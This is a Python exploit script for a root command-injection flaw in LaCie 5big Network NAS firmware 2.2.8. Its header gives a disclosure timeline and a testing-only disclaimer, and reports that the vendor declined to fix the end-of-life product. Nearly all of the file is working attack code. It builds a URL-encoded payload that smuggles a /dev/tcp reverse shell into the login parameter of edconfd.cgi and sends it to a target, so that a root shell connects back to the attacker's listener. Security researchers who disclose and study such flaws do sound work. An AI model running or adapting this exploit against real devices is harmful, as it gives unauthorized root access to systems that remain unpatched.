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#!/usr/bin/python
# Exploit Title: LaCie 5big Network 2.2.8 Command Injection
# Date: 2017-12-04
# Exploit Author: Timo Sablowski
# Contact: ${lastname}@tyntec.com
# Vendor Homepage: http://www.lacie.com
# Software Link: http://www.lacie.com/files/lacie-content/download/drivers/5%20Big%20Network.zip
# Version: 2.2.8
# Tested on: Linux
# Platform: Hardware
#
# Command Injection Vulnerability (with root privileges) in LaCie's
# 5big Network appliance running firmware version 2.2.8.
# Just open a netcat listener and run this script to receive a reverse
# shell to exploit the vulnerability.
#
# This exploit has been released to Seagate in accordance to their
# responsible disclosure program and is meant to be used for testing
# and educational purposes only.
# Please do not use it against any system without prior permission.
# Use at your own risk.
#
# Timeline:
# 2017-09-13: Discovery
# 2017-10-04: Reporting to Seagate
# asking to fix the issue until 2017-12-04
# 2017-11-07: Seagate stating to not fix the vulnerability as the
# product has been EOL for a long time
import sys, getopt, os, urllib
url_addition = "/cgi-bin/public/edconfd.cgi?method=getChallenge&login="
blank_payload = "admin|#' ||`/bin/sh -i > /dev/tcp/IP/PORT 0<&1 2>&1` #\\\""
def help():
print "Usage:"
print "%s -u <baseurl> -l <listener> -p <port>" %os.path.basename(sys.argv[0])
print ""
print "<baseurl> identifies the target's URL, e.g. http://10.0.0.1:8080"
print "<listener> sets the IP where the attacked system connects back to"
print "<port> defines the listening port"
print ""
print "Example: attack LaCie system to connect back to a remote machine (do not forget to open a netcat session)"
print "\t %s -u http://10.0.0.1 -l 192.168.0.1 -p 4444" %os.path.basename(sys.argv[0])
def create_payload(blank_payload, listener, port):
print "[+] Generating payload with IP %s and port %s" %(listener, str(port))
payload = blank_payload.replace("IP", listener).replace("PORT", str(port))
payload = urllib.quote(payload, safe='')
return payload
def send_payload(injected_url):
print "[+] Sending payload, this might take a few seconds ..."
print "[+] Check your listener"
try:
urllib.urlopen(injected_url)
except:
raise
def main():
try:
opts, args = getopt.getopt(sys.argv[1:],"hu:l:p:")
except:
help()
sys.exit(1)
for opt, arg in opts:
if opt == '-h':
help()
sys.exit()
elif opt in ("-u"):
url = arg
elif opt in ("-l"):
listener = arg
elif opt in ("-p"):
port = int(arg)
try:
url
listener
port
except:
help()
sys.exit(1)
payload = create_payload(blank_payload, listener, port)
injected_url = "%s%s%s" %(url, url_addition, payload)
send_payload(injected_url)
if __name__ == "__main__":
main()
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